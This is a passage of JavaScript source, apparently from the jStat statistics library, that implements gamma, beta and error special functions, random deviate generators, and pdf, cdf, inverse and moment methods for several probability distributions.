var arr = []; 1197 | var i = 0; 1198 | var tmpthis = this; 1199 | var args = Array.prototype.slice.call(arguments); 1200 | 1201 | // If the last argument is a function, we assume it's a callback; we 1202 | // strip the callback out and call the function again. 1203 | if (isFunction(args[args.length - 1])) { 1204 | var callbackFunction = args[args.length - 1]; 1205 | var argsToPass = args.slice(0, args.length - 1); 1206 | 1207 | setTimeout(function() { 1208 | callbackFunction.call(tmpthis, 1209 | jProto[passfunc].apply(tmpthis, argsToPass)); 1210 | }); 1211 | return this; 1212 | 1213 | // Otherwise we curry the function args and call normally. 1214 | } else { 1215 | var callbackFunction = undefined; 1216 | var curriedFunction = function curriedFunction(vector) { 1217 | return jStat[passfunc].apply(tmpthis, [vector].concat(args)); 1218 | } 1219 | } 1220 | 1221 | // If this is a matrix, run column-by-column. 1222 | if (this.length > 1) { 1223 | tmpthis = tmpthis.transpose(); 1224 | for (; i < tmpthis.length; i++) 1225 | arr[i] = curriedFunction(tmpthis[i]); 1226 | return arr; 1227 | } 1228 | 1229 | // Otherwise run on the vector. 1230 | return curriedFunction(this[0]); 1231 | }; 1232 | })(funcs[i]); 1233 | })('quantiles percentileOfScore'.split(' ')); 1234 | 1235 | }(jStat, Math)); 1236 | // Special functions // 1237 | (function(jStat, Math) { 1238 | 1239 | // Log-gamma function 1240 | jStat.gammaln = function gammaln(x) { 1241 | var j = 0; 1242 | var cof = [ 1243 | 76.18009172947146, -86.50532032941677, 24.01409824083091, 1244 | -1.231739572450155, 0.1208650973866179e-2, -0.5395239384953e-5 1245 | ]; 1246 | var ser = 1.000000000190015; 1247 | var xx, y, tmp; 1248 | tmp = (y = xx = x) + 5.5; 1249 | tmp -= (xx + 0.5) * Math.log(tmp); 1250 | for (; j < 6; j++) 1251 | ser += cof[j] / ++y; 1252 | return Math.log(2.5066282746310005 * ser / xx) - tmp; 1253 | }; 1254 | 1255 | 1256 | // gamma of x 1257 | jStat.gammafn = function gammafn(x) { 1258 | var p = [-1.716185138865495, 24.76565080557592, -379.80425647094563, 1259 | 629.3311553128184, 866.9662027904133, -31451.272968848367, 1260 | -36144.413418691176, 66456.14382024054 1261 | ]; 1262 | var q = [-30.8402300119739, 315.35062697960416, -1015.1563674902192, 1263 | -3107.771671572311, 22538.118420980151, 4755.8462775278811, 1264 | -134659.9598649693, -115132.2596755535]; 1265 | var fact = false; 1266 | var n = 0; 1267 | var xden = 0; 1268 | var xnum = 0; 1269 | var y = x; 1270 | var i, z, yi, res, sum, ysq; 1271 | if (y <= 0) { 1272 | res = y % 1 + 3.6e-16; 1273 | if (res) { 1274 | fact = (!(y & 1) ? 1 : -1) * Math.PI / Math.sin(Math.PI * res); 1275 | y = 1 - y; 1276 | } else { 1277 | return Infinity; 1278 | } 1279 | } 1280 | yi = y; 1281 | if (y < 1) { 1282 | z = y++; 1283 | } else { 1284 | z = (y -= n = (y | 0) - 1) - 1; 1285 | } 1286 | for (var i = 0; i < 8; ++i) { 1287 | xnum = (xnum + p[i]) * z; 1288 | xden = xden * z + q[i]; 1289 | } 1290 | res = xnum / xden + 1; 1291 | if (yi < y) { 1292 | res /= yi; 1293 | } else if (yi > y) { 1294 | for (var i = 0; i < n; ++i) { 1295 | res *= y; 1296 | y++; 1297 | } 1298 | } 1299 | if (fact) { 1300 | res = fact / res; 1301 | } 1302 | return res; 1303 | }; 1304 | 1305 | 1306 | // lower incomplete gamma function, which is usually typeset with a 1307 | // lower-case greek gamma as the function symbol 1308 | jStat.gammap = function gammap(a, x) { 1309 | return jStat.lowRegGamma(a, x) * jStat.gammafn(a); 1310 | }; 1311 | 1312 | 1313 | // The lower regularized incomplete gamma function, usually written P(a,x) 1314 | jStat.lowRegGamma = function lowRegGamma(a, x) { 1315 | var aln = jStat.gammaln(a); 1316 | var ap = a; 1317 | var sum = 1 / a; 1318 | var del = sum; 1319 | var b = x + 1 - a; 1320 | var c = 1 / 1.0e-30; 1321 | var d = 1 / b; 1322 | var h = d; 1323 | var i = 1; 1324 | // calculate maximum number of itterations required for a 1325 | var ITMAX = -~(Math.log((a >= 1) ? a : 1 / a) * 8.5 + a * 0.4 + 17); 1326 | var an, endval; 1327 | 1328 | if (x < 0 || a <= 0) { 1329 | return NaN; 1330 | } else if (x < a + 1) { 1331 | for (; i <= ITMAX; i++) { 1332 | sum += del *= x / ++ap; 1333 | } 1334 | return (sum * Math.exp(-x + a * Math.log(x) - (aln))); 1335 | } 1336 | 1337 | for (; i <= ITMAX; i++) { 1338 | an = -i * (i - a); 1339 | b += 2; 1340 | d = an * d + b; 1341 | c = b + an / c; 1342 | d = 1 / d; 1343 | h *= d * c; 1344 | } 1345 | 1346 | return (1 - h * Math.exp(-x + a * Math.log(x) - (aln))); 1347 | }; 1348 | 1349 | // natural log factorial of n 1350 | jStat.factorialln = function factorialln(n) { 1351 | return n < 0 ? NaN : jStat.gammaln(n + 1); 1352 | }; 1353 | 1354 | // factorial of n 1355 | jStat.factorial = function factorial(n) { 1356 | return n < 0 ? NaN : jStat.gammafn(n + 1); 1357 | }; 1358 | 1359 | // combinations of n, m 1360 | jStat.combination = function combination(n, m) { 1361 | // make sure n or m don't exceed the upper limit of usable values 1362 | return (n > 170 || m > 170) 1363 | ? Math.exp(jStat.combinationln(n, m)) 1364 | : (jStat.factorial(n) / jStat.factorial(m)) / jStat.factorial(n - m); 1365 | }; 1366 | 1367 | 1368 | jStat.combinationln = function combinationln(n, m){ 1369 | return jStat.factorialln(n) - jStat.factorialln(m) - jStat.factorialln(n - m); 1370 | }; 1371 | 1372 | 1373 | // permutations of n, m 1374 | jStat.permutation = function permutation(n, m) { 1375 | return jStat.factorial(n) / jStat.factorial(n - m); 1376 | }; 1377 | 1378 | 1379 | // beta function 1380 | jStat.betafn = function betafn(x, y) { 1381 | // ensure arguments are positive 1382 | if (x <= 0 || y <= 0) 1383 | return undefined; 1384 | // make sure x + y doesn't exceed the upper limit of usable values 1385 | return (x + y > 170) 1386 | ? Math.exp(jStat.betaln(x, y)) 1387 | : jStat.gammafn(x) * jStat.gammafn(y) / jStat.gammafn(x + y); 1388 | }; 1389 | 1390 | 1391 | // natural logarithm of beta function 1392 | jStat.betaln = function betaln(x, y) { 1393 | return jStat.gammaln(x) + jStat.gammaln(y) - jStat.gammaln(x + y); 1394 | }; 1395 | 1396 | 1397 | // Evaluates the continued fraction for incomplete beta function by modified 1398 | // Lentz's method. 1399 | jStat.betacf = function betacf(x, a, b) { 1400 | var fpmin = 1e-30; 1401 | var m = 1; 1402 | var qab = a + b; 1403 | var qap = a + 1; 1404 | var qam = a - 1; 1405 | var c = 1; 1406 | var d = 1 - qab * x / qap; 1407 | var m2, aa, del, h; 1408 | 1409 | // These q's will be used in factors that occur in the coefficients 1410 | if (Math.abs(d) < fpmin) 1411 | d = fpmin; 1412 | d = 1 / d; 1413 | h = d; 1414 | 1415 | for (; m <= 100; m++) { 1416 | m2 = 2 * m; 1417 | aa = m * (b - m) * x / ((qam + m2) * (a + m2)); 1418 | // One step (the even one) of the recurrence 1419 | d = 1 + aa * d; 1420 | if (Math.abs(d) < fpmin) 1421 | d = fpmin; 1422 | c = 1 + aa / c; 1423 | if (Math.abs(c) < fpmin) 1424 | c = fpmin; 1425 | d = 1 / d; 1426 | h *= d * c; 1427 | aa = -(a + m) * (qab + m) * x / ((a + m2) * (qap + m2)); 1428 | // Next step of the recurrence (the odd one) 1429 | d = 1 + aa * d; 1430 | if (Math.abs(d) < fpmin) 1431 | d = fpmin; 1432 | c = 1 + aa / c; 1433 | if (Math.abs(c) < fpmin) 1434 | c = fpmin; 1435 | d = 1 / d; 1436 | del = d * c; 1437 | h *= del; 1438 | if (Math.abs(del - 1.0) < 3e-7) 1439 | break; 1440 | } 1441 | 1442 | return h; 1443 | }; 1444 | 1445 | 1446 | // Returns the inverse of the lower regularized inomplete gamma function 1447 | jStat.gammapinv = function gammapinv(p, a) { 1448 | var j = 0; 1449 | var a1 = a - 1; 1450 | var EPS = 1e-8; 1451 | var gln = jStat.gammaln(a); 1452 | var x, err, t, u, pp, lna1, afac; 1453 | 1454 | if (p >= 1) 1455 | return Math.max(100, a + 100 * Math.sqrt(a)); 1456 | if (p <= 0) 1457 | return 0; 1458 | if (a > 1) { 1459 | lna1 = Math.log(a1); 1460 | afac = Math.exp(a1 * (lna1 - 1) - gln); 1461 | pp = (p < 0.5) ? p : 1 - p; 1462 | t = Math.sqrt(-2 * Math.log(pp)); 1463 | x = (2.30753 + t * 0.27061) / (1 + t * (0.99229 + t * 0.04481)) - t; 1464 | if (p < 0.5) 1465 | x = -x; 1466 | x = Math.max(1e-3, 1467 | a * Math.pow(1 - 1 / (9 * a) - x / (3 * Math.sqrt(a)), 3)); 1468 | } else { 1469 | t = 1 - a * (0.253 + a * 0.12); 1470 | if (p < t) 1471 | x = Math.pow(p / t, 1 / a); 1472 | else 1473 | x = 1 - Math.log(1 - (p - t) / (1 - t)); 1474 | } 1475 | 1476 | for(; j < 12; j++) { 1477 | if (x <= 0) 1478 | return 0; 1479 | err = jStat.lowRegGamma(a, x) - p; 1480 | if (a > 1) 1481 | t = afac * Math.exp(-(x - a1) + a1 * (Math.log(x) - lna1)); 1482 | else 1483 | t = Math.exp(-x + a1 * Math.log(x) - gln); 1484 | u = err / t; 1485 | x -= (t = u / (1 - 0.5 * Math.min(1, u * ((a - 1) / x - 1)))); 1486 | if (x <= 0) 1487 | x = 0.5 * (x + t); 1488 | if (Math.abs(t) < EPS * x) 1489 | break; 1490 | } 1491 | 1492 | return x; 1493 | }; 1494 | 1495 | 1496 | // Returns the error function erf(x) 1497 | jStat.erf = function erf(x) { 1498 | var cof = [-1.3026537197817094, 6.4196979235649026e-1, 1.9476473204185836e-2, 1499 | -9.561514786808631e-3, -9.46595344482036e-4, 3.66839497852761e-4, 1500 | 4.2523324806907e-5, -2.0278578112534e-5, -1.624290004647e-6, 1501 | 1.303655835580e-6, 1.5626441722e-8, -8.5238095915e-8, 1502 | 6.529054439e-9, 5.059343495e-9, -9.91364156e-10, 1503 | -2.27365122e-10, 9.6467911e-11, 2.394038e-12, 1504 | -6.886027e-12, 8.94487e-13, 3.13092e-13, 1505 | -1.12708e-13, 3.81e-16, 7.106e-15, 1506 | -1.523e-15, -9.4e-17, 1.21e-16, 1507 | -2.8e-17]; 1508 | var j = cof.length - 1; 1509 | var isneg = false; 1510 | var d = 0; 1511 | var dd = 0; 1512 | var t, ty, tmp, res; 1513 | 1514 | if (x < 0) { 1515 | x = -x; 1516 | isneg = true; 1517 | } 1518 | 1519 | t = 2 / (2 + x); 1520 | ty = 4 * t - 2; 1521 | 1522 | for(; j > 0; j--) { 1523 | tmp = d; 1524 | d = ty * d - dd + cof[j]; 1525 | dd = tmp; 1526 | } 1527 | 1528 | res = t * Math.exp(-x * x + 0.5 * (cof[0] + ty * d) - dd); 1529 | return isneg ? res - 1 : 1 - res; 1530 | }; 1531 | 1532 | 1533 | // Returns the complmentary error function erfc(x) 1534 | jStat.erfc = function erfc(x) { 1535 | return 1 - jStat.erf(x); 1536 | }; 1537 | 1538 | 1539 | // Returns the inverse of the complementary error function 1540 | jStat.erfcinv = function erfcinv(p) { 1541 | var j = 0; 1542 | var x, err, t, pp; 1543 | if (p >= 2) 1544 | return -100; 1545 | if (p <= 0) 1546 | return 100; 1547 | pp = (p < 1) ? p : 2 - p; 1548 | t = Math.sqrt(-2 * Math.log(pp / 2)); 1549 | x = -0.70711 * ((2.30753 + t * 0.27061) / 1550 | (1 + t * (0.99229 + t * 0.04481)) - t); 1551 | for (; j < 2; j++) { 1552 | err = jStat.erfc(x) - pp; 1553 | x += err / (1.12837916709551257 * Math.exp(-x * x) - x * err); 1554 | } 1555 | return (p < 1) ? x : -x; 1556 | }; 1557 | 1558 | 1559 | // Returns the inverse of the incomplete beta function 1560 | jStat.ibetainv = function ibetainv(p, a, b) { 1561 | var EPS = 1e-8; 1562 | var a1 = a - 1; 1563 | var b1 = b - 1; 1564 | var j = 0; 1565 | var lna, lnb, pp, t, u, err, x, al, h, w, afac; 1566 | if (p <= 0) 1567 | return 0; 1568 | if (p >= 1) 1569 | return 1; 1570 | if (a >= 1 && b >= 1) { 1571 | pp = (p < 0.5) ? p : 1 - p; 1572 | t = Math.sqrt(-2 * Math.log(pp)); 1573 | x = (2.30753 + t * 0.27061) / (1 + t* (0.99229 + t * 0.04481)) - t; 1574 | if (p < 0.5) 1575 | x = -x; 1576 | al = (x * x - 3) / 6; 1577 | h = 2 / (1 / (2 * a - 1) + 1 / (2 * b - 1)); 1578 | w = (x * Math.sqrt(al + h) / h) - (1 / (2 * b - 1) - 1 / (2 * a - 1)) * 1579 | (al + 5 / 6 - 2 / (3 * h)); 1580 | x = a / (a + b * Math.exp(2 * w)); 1581 | } else { 1582 | lna = Math.log(a / (a + b)); 1583 | lnb = Math.log(b / (a + b)); 1584 | t = Math.exp(a * lna) / a; 1585 | u = Math.exp(b * lnb) / b; 1586 | w = t + u; 1587 | if (p < t / w) 1588 | x = Math.pow(a * w * p, 1 / a); 1589 | else 1590 | x = 1 - Math.pow(b * w * (1 - p), 1 / b); 1591 | } 1592 | afac = -jStat.gammaln(a) - jStat.gammaln(b) + jStat.gammaln(a + b); 1593 | for(; j < 10; j++) { 1594 | if (x === 0 || x === 1) 1595 | return x; 1596 | err = jStat.ibeta(x, a, b) - p; 1597 | t = Math.exp(a1 * Math.log(x) + b1 * Math.log(1 - x) + afac); 1598 | u = err / t; 1599 | x -= (t = u / (1 - 0.5 * Math.min(1, u * (a1 / x - b1 / (1 - x))))); 1600 | if (x <= 0) 1601 | x = 0.5 * (x + t); 1602 | if (x >= 1) 1603 | x = 0.5 * (x + t + 1); 1604 | if (Math.abs(t) < EPS * x && j > 0) 1605 | break; 1606 | } 1607 | return x; 1608 | }; 1609 | 1610 | 1611 | // Returns the incomplete beta function I_x(a,b) 1612 | jStat.ibeta = function ibeta(x, a, b) { 1613 | // Factors in front of the continued fraction. 1614 | var bt = (x === 0 || x === 1) ? 0 : 1615 | Math.exp(jStat.gammaln(a + b) - jStat.gammaln(a) - 1616 | jStat.gammaln(b) + a * Math.log(x) + b * 1617 | Math.log(1 - x)); 1618 | if (x < 0 || x > 1) 1619 | return false; 1620 | if (x < (a + 1) / (a + b + 2)) 1621 | // Use continued fraction directly. 1622 | return bt * jStat.betacf(x, a, b) / a; 1623 | // else use continued fraction after making the symmetry transformation. 1624 | return 1 - bt * jStat.betacf(1 - x, b, a) / b; 1625 | }; 1626 | 1627 | 1628 | // Returns a normal deviate (mu=0, sigma=1). 1629 | // If n and m are specified it returns a object of normal deviates. 1630 | jStat.randn = function randn(n, m) { 1631 | var u, v, x, y, q, mat; 1632 | if (!m) 1633 | m = n; 1634 | if (n) 1635 | return jStat.create(n, m, function() { return jStat.randn(); }); 1636 | do { 1637 | u = Math.random(); 1638 | v = 1.7156 * (Math.random() - 0.5); 1639 | x = u - 0.449871; 1640 | y = Math.abs(v) + 0.386595; 1641 | q = x * x + y * (0.19600 * y - 0.25472 * x); 1642 | } while (q > 0.27597 && (q > 0.27846 || v * v > -4 * Math.log(u) * u * u)); 1643 | return v / u; 1644 | }; 1645 | 1646 | 1647 | // Returns a gamma deviate by the method of Marsaglia and Tsang. 1648 | jStat.randg = function randg(shape, n, m) { 1649 | var oalph = shape; 1650 | var a1, a2, u, v, x, mat; 1651 | if (!m) 1652 | m = n; 1653 | if (!shape) 1654 | shape = 1; 1655 | if (n) { 1656 | mat = jStat.zeros(n,m); 1657 | mat.alter(function() { return jStat.randg(shape); }); 1658 | return mat; 1659 | } 1660 | if (shape < 1) 1661 | shape += 1; 1662 | a1 = shape - 1 / 3; 1663 | a2 = 1 / Math.sqrt(9 * a1); 1664 | do { 1665 | do { 1666 | x = jStat.randn(); 1667 | v = 1 + a2 * x; 1668 | } while(v <= 0); 1669 | v = v * v * v; 1670 | u = Math.random(); 1671 | } while(u > 1 - 0.331 * Math.pow(x, 4) && 1672 | Math.log(u) > 0.5 * x*x + a1 * (1 - v + Math.log(v))); 1673 | // alpha > 1 1674 | if (shape == oalph) 1675 | return a1 * v; 1676 | // alpha < 1 1677 | do { 1678 | u = Math.random(); 1679 | } while(u === 0); 1680 | return Math.pow(u, 1 / oalph) * a1 * v; 1681 | }; 1682 | 1683 | 1684 | // making use of static methods on the instance 1685 | (function(funcs) { 1686 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 1687 | jStat.fn[passfunc] = function() { 1688 | return jStat( 1689 | jStat.map(this, function(value) { return jStat[passfunc](value); })); 1690 | } 1691 | })(funcs[i]); 1692 | })('gammaln gammafn factorial factorialln'.split(' ')); 1693 | 1694 | 1695 | (function(funcs) { 1696 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 1697 | jStat.fn[passfunc] = function() { 1698 | return jStat(jStat[passfunc].apply(null, arguments)); 1699 | }; 1700 | })(funcs[i]); 1701 | })('randn'.split(' ')); 1702 | 1703 | }(jStat, Math)); 1704 | (function(jStat, Math) { 1705 | 1706 | // generate all distribution instance methods 1707 | (function(list) { 1708 | for (var i = 0; i < list.length; i++) (function(func) { 1709 | // distribution instance method 1710 | jStat[func] = function(a, b, c) { 1711 | if (!(this instanceof arguments.callee)) 1712 | return new arguments.callee(a, b, c); 1713 | this._a = a; 1714 | this._b = b; 1715 | this._c = c; 1716 | return this; 1717 | }; 1718 | // distribution method to be used on a jStat instance 1719 | jStat.fn[func] = function(a, b, c) { 1720 | var newthis = jStat[func](a, b, c); 1721 | newthis.data = this; 1722 | return newthis; 1723 | }; 1724 | // sample instance method 1725 | jStat[func].prototype.sample = function(arr) { 1726 | var a = this._a; 1727 | var b = this._b; 1728 | var c = this._c; 1729 | if (arr) 1730 | return jStat.alter(arr, function() { 1731 | return jStat[func].sample(a, b, c); 1732 | }); 1733 | else 1734 | return jStat[func].sample(a, b, c); 1735 | }; 1736 | // generate the pdf, cdf and inv instance methods 1737 | (function(vals) { 1738 | for (var i = 0; i < vals.length; i++) (function(fnfunc) { 1739 | jStat[func].prototype[fnfunc] = function(x) { 1740 | var a = this._a; 1741 | var b = this._b; 1742 | var c = this._c; 1743 | if (!x && x !== 0) 1744 | x = this.data; 1745 | if (typeof x !== 'number') { 1746 | return jStat.fn.map.call(x, function(x) { 1747 | return jStat[func][fnfunc](x, a, b, c); 1748 | }); 1749 | } 1750 | return jStat[func][fnfunc](x, a, b, c); 1751 | }; 1752 | })(vals[i]); 1753 | })('pdf cdf inv'.split(' ')); 1754 | // generate the mean, median, mode and variance instance methods 1755 | (function(vals) { 1756 | for (var i = 0; i < vals.length; i++) (function(fnfunc) { 1757 | jStat[func].prototype[fnfunc] = function() { 1758 | return jStat[func][fnfunc](this._a, this._b, this._c); 1759 | }; 1760 | })(vals[i]); 1761 | })('mean median mode variance'.split(' ')); 1762 | })(list[i]); 1763 | })(( 1764 | 'beta centralF cauchy chisquare exponential gamma invgamma kumaraswamy ' + 1765 | 'laplace lognormal noncentralt normal pareto studentt weibull uniform ' + 1766 | 'binomial negbin hypgeom poisson triangular tukey arcsine' 1767 | ).split(' ')); 1768 | 1769 | 1770 | 1771 | // extend beta function with static methods 1772 | jStat.extend(jStat.beta, { 1773 | pdf: function pdf(x, alpha, beta) { 1774 | // PDF is zero outside the support 1775 | if (x > 1 || x < 0) 1776 | return 0; 1777 | // PDF is one for the uniform case 1778 | if (alpha == 1 && beta == 1) 1779 | return 1; 1780 | 1781 | if (alpha < 512 && beta < 512) { 1782 | return (Math.pow(x, alpha - 1) * Math.pow(1 - x, beta - 1)) / 1783 | jStat.betafn(alpha, beta); 1784 | } else { 1785 | return Math.exp((alpha - 1) * Math.log(x) + 1786 | (beta - 1) * Math.log(1 - x) - 1787 | jStat.betaln(alpha, beta)); 1788 | } 1789 | }, 1790 | 1791 | cdf: function cdf(x, alpha, beta) { 1792 | return (x > 1 || x < 0) ? (x > 1) * 1 : jStat.ibeta(x, alpha, beta); 1793 | }, 1794 | 1795 | inv: function inv(x, alpha, beta) { 1796 | return jStat.ibetainv(x, alpha, beta); 1797 | }, 1798 | 1799 | mean: function mean(alpha, beta) { 1800 | return alpha / (alpha + beta); 1801 | }, 1802 | 1803 | median: function median(alpha, beta) { 1804 | return jStat.ibetainv(0.5, alpha, beta); 1805 | }, 1806 | 1807 | mode: function mode(alpha, beta) { 1808 | return (alpha - 1 ) / ( alpha + beta - 2); 1809 | }, 1810 | 1811 | // return a random sample 1812 | sample: function sample(alpha, beta) { 1813 | var u = jStat.randg(alpha); 1814 | return u / (u + jStat.randg(beta)); 1815 | }, 1816 | 1817 | variance: function variance(alpha, beta) { 1818 | return (alpha * beta) / (Math.pow(alpha + beta, 2) * (alpha + beta + 1)); 1819 | } 1820 | }); 1821 | 1822 | // extend F function with static methods 1823 | jStat.extend(jStat.centralF, { 1824 | // This implementation of the pdf function avoids float overflow 1825 | // See the way that R calculates this value: 1826 | // https://svn.r-project.org/R/trunk/src/nmath/df.c 1827 | pdf: function pdf(x, df1, df2) { 1828 | var p, q, f; 1829 | 1830 | if (x < 0) 1831 | return 0; 1832 | 1833 | if (df1 <= 2) { 1834 | if (x === 0 && df1 < 2) { 1835 | return Infinity; 1836 | } 1837 | if (x === 0 && df1 === 2) { 1838 | return 1; 1839 | } 1840 | return (1 / jStat.betafn(df1 / 2, df2 / 2)) * 1841 | Math.pow(df1 / df2, df1 / 2) * 1842 | Math.pow(x, (df1/2) - 1) * 1843 | Math.pow((1 + (df1 / df2) * x), -(df1 + df2) / 2); 1844 | } 1845 | 1846 | p = (df1 * x) / (df2 + x * df1); 1847 | q = df2 / (df2 + x * df1); 1848 | f = df1 * q / 2.0; 1849 | return f * jStat.binomial.pdf((df1 - 2) / 2, (df1 + df2 - 2) / 2, p); 1850 | }, 1851 | 1852 | cdf: function cdf(x, df1, df2) { 1853 | if (x < 0) 1854 | return 0; 1855 | return jStat.ibeta((df1 * x) / (df1 * x + df2), df1 / 2, df2 / 2); 1856 | }, 1857 | 1858 | inv: function inv(x, df1, df2) { 1859 | return df2 / (df1 * (1 / jStat.ibetainv(x, df1 / 2, df2 / 2) - 1)); 1860 | }, 1861 | 1862 | mean: function mean(df1, df2) { 1863 | return (df2 > 2) ? df2 / (df2 - 2) : undefined; 1864 | }, 1865 | 1866 | mode: function mode(df1, df2) { 1867 | return (df1 > 2) ? (df2 * (df1 - 2)) / (df1 * (df2 + 2)) : undefined; 1868 | }, 1869 | 1870 | // return a random sample 1871 | sample: function sample(df1, df2) { 1872 | var x1 = jStat.randg(df1 / 2) * 2; 1873 | var x2 = jStat.randg(df2 / 2) * 2; 1874 | return (x1 / df1) / (x2 / df2); 1875 | }, 1876 | 1877 | variance: function variance(df1, df2) { 1878 | if (df2 <= 4) 1879 | return undefined; 1880 | return 2 * df2 * df2 * (df1 + df2 - 2) / 1881 | (df1 * (df2 - 2) * (df2 - 2) * (df2 - 4)); 1882 | } 1883 | }); 1884 | 1885 | 1886 | // extend cauchy function with static methods 1887 | jStat.extend(jStat.cauchy, { 1888 | pdf: function pdf(x, local, scale) { 1889 | if (scale < 0) { return 0; } 1890 | 1891 | return (scale / (Math.pow(x - local, 2) + Math.pow(scale, 2))) / Math.PI; 1892 | }, 1893 | 1894 | cdf: function cdf(x, local, scale) { 1895 | return Math.atan((x - local) / scale) / Math.PI + 0.5; 1896 | }, 1897 | 1898 | inv: function(p, local, scale) { 1899 | return local + scale * Math.tan(Math.PI * (p - 0.5)); 1900 | }, 1901 | 1902 | median: function median(local, scale) { 1903 | return local; 1904 | }, 1905 | 1906 | mode: function mode(local, scale) { 1907 | return local; 1908 | }, 1909 | 1910 | sample: function sample(local, scale) { 1911 | return jStat.randn() * 1912 | Math.sqrt(1 / (2 * jStat.randg(0.5))) * scale + local; 1913 | } 1914 | }); 1915 | 1916 | 1917 | 1918 | // extend chisquare function with static methods 1919 | jStat.extend(jStat.chisquare, { 1920 | pdf: function pdf(x, dof) { 1921 | if (x < 0) 1922 | return 0; 1923 | return (x === 0 && dof === 2) ? 0.5 : 1924 | Math.exp((dof / 2 - 1) * Math.log(x) - x / 2 - (dof / 2) * 1925 | Math.log(2) - jStat.gammaln(dof / 2)); 1926 | }, 1927 | 1928 | cdf: function cdf(x, dof) { 1929 | if (x < 0) 1930 | return 0; 1931 | return jStat.lowRegGamma(dof / 2, x / 2); 1932 | }, 1933 | 1934 | inv: function(p, dof) { 1935 | return 2 * jStat.gammapinv(p, 0.5 * dof); 1936 | }, 1937 | 1938 | mean : function(dof) { 1939 | return dof; 1940 | }, 1941 | 1942 | // TODO: this is an approximation (is there a better way?) 1943 | median: function median(dof) { 1944 | return dof * Math.pow(1 - (2 / (9 * dof)), 3); 1945 | }, 1946 | 1947 | mode: function mode(dof) { 1948 | return (dof - 2 > 0) ? dof - 2 : 0; 1949 | }, 1950 | 1951 | sample: function sample(dof) { 1952 | return jStat.randg(dof / 2) * 2; 1953 | }, 1954 | 1955 | variance: function variance(dof) { 1956 | return 2 * dof; 1957 | } 1958 | }); 1959 | 1960 | 1961 | 1962 | // extend exponential function with static methods 1963 | jStat.extend(jStat.exponential, { 1964 | pdf: function pdf(x, rate) { 1965 | return x < 0 ? 0 : rate * Math.exp(-rate * x); 1966 | }, 1967 | 1968 | cdf: function cdf(x, rate) { 1969 | return x < 0 ? 0 : 1 - Math.exp(-rate * x); 1970 | }, 1971 | 1972 | inv: function(p, rate) { 1973 | return -Math.log(1 - p) / rate; 1974 | }, 1975 | 1976 | mean : function(rate) { 1977 | return 1 / rate; 1978 | }, 1979 | 1980 | median: function (rate) { 1981 | return (1 / rate) * Math.log(2); 1982 | }, 1983 | 1984 | mode: function mode(rate) { 1985 | return 0; 1986 | }, 1987 | 1988 | sample: function sample(rate) { 1989 | return -1 / rate * Math.log(Math.random()); 1990 | }, 1991 | 1992 | variance : function(rate) { 1993 | return Math.pow(rate, -2); 1994 | } 1995 | }); 1996 | 1997 | 1998 | 1999 | // extend gamma function with static methods 2000 | jStat.extend(jStat.gamma, { 2001 | pdf: function pdf(x, shape, scale) { 2002 | if (x < 0) 2003 | return 0; 2004 | return (x === 0 && shape === 1) ? 1 / scale : 2005 | Math.exp((shape - 1) * Math.log(x) - x / scale - 2006 | jStat.gammaln(shape) - shape * Math.log(scale)); 2007 | }, 2008 | 2009 | cdf: function cdf(x, shape, scale) { 2010 | if (x < 0) 2011 | return 0; 2012 | return jStat.lowRegGamma(shape, x / scale); 2013 | }, 2014 | 2015 | inv: function(p, shape, scale) { 2016 | return jStat.gammapinv(p, shape) * scale; 2017 | }, 2018 | 2019 | mean : function(shape, scale) { 2020 | return shape * scale; 2021 | }, 2022 | 2023 | mode: function mode(shape, scale) { 2024 | if(shape > 1) return (shape - 1) * scale; 2025 | return undefined; 2026 | }, 2027 | 2028 | sample: function sample(shape, scale) { 2029 | return jStat.randg(shape) * scale; 2030 | }, 2031 | 2032 | variance: function variance(shape, scale) { 2033 | return shape * scale * scale; 2034 | } 2035 | }); 2036 | 2037 | // extend inverse gamma function with static methods 2038 | jStat.extend(jStat.invgamma, { 2039 | pdf: function pdf(x, shape, scale) { 2040 | if (x <= 0) 2041 | return 0; 2042 | return Math.exp(-(shape + 1) * Math.log(x) - scale / x - 2043 | jStat.gammaln(shape) + shape * Math.log(scale)); 2044 | }, 2045 | 2046 | cdf: function cdf(x, shape, scale) { 2047 | if (x <= 0) 2048 | return 0; 2049 | return 1 - jStat.lowRegGamma(shape, scale / x); 2050 | }, 2051 | 2052 | inv: function(p, shape, scale) { 2053 | return scale / jStat.gammapinv(1 - p, shape); 2054 | }, 2055 | 2056 | mean : function(shape, scale) { 2057 | return (shape > 1) ? scale / (shape - 1) : undefined; 2058 | }, 2059 | 2060 | mode: function mode(shape, scale) { 2061 | return scale / (shape + 1); 2062 | }, 2063 | 2064 | sample: function sample(shape, scale) { 2065 | return scale / jStat.randg(shape); 2066 | }, 2067 | 2068 | variance: function variance(shape, scale) { 2069 | if (shape <= 2) 2070 | return undefined; 2071 | return scale * scale / ((shape - 1) * (shape - 1) * (shape - 2)); 2072 | } 2073 | }); 2074 | 2075 | 2076 | // extend kumaraswamy function with static methods 2077 | jStat.extend(jStat.kumaraswamy, { 2078 | pdf: function pdf(x, alpha, beta) { 2079 | if (x === 0 && alpha === 1) 2080 | return beta; 2081 | else if (x === 1 && beta === 1) 2082 | return alpha; 2083 | return Math.exp(Math.log(alpha) + Math.log(beta) + (alpha - 1) * 2084 | Math.log(x) + (beta - 1) * 2085 | Math.log(1 - Math.pow(x, alpha))); 2086 | }, 2087 | 2088 | cdf: function cdf(x, alpha, beta) { 2089 | if (x < 0) 2090 | return 0; 2091 | else if (x > 1) 2092 | return 1; 2093 | return (1 - Math.pow(1 - Math.pow(x, alpha), beta)); 2094 | }, 2095 | 2096 | inv: function inv(p, alpha, beta) { 2097 | return Math.pow(1 - Math.pow(1 - p, 1 / beta), 1 / alpha); 2098 | }, 2099 | 2100 | mean : function(alpha, beta) { 2101 | return (beta * jStat.gammafn(1 + 1 / alpha) * 2102 | jStat.gammafn(beta)) / (jStat.gammafn(1 + 1 / alpha + beta)); 2103 | }, 2104 | 2105 | median: function median(alpha, beta) { 2106 | return Math.pow(1 - Math.pow(2, -1 / beta), 1 / alpha); 2107 | }, 2108 | 2109 | mode: function mode(alpha, beta) { 2110 | if (!(alpha >= 1 && beta >= 1 && (alpha !== 1 && beta !== 1))) 2111 | return undefined; 2112 | return Math.pow((alpha - 1) / (alpha * beta - 1), 1 / alpha); 2113 | }, 2114 | 2115 | variance: function variance(alpha, beta) { 2116 | throw new Error('variance not yet implemented'); 2117 | // TODO: complete this 2118 | } 2119 | }); 2120 | 2121 | 2122 | 2123 | // extend lognormal function with static methods 2124 | jStat.extend(jStat.lognormal, { 2125 | 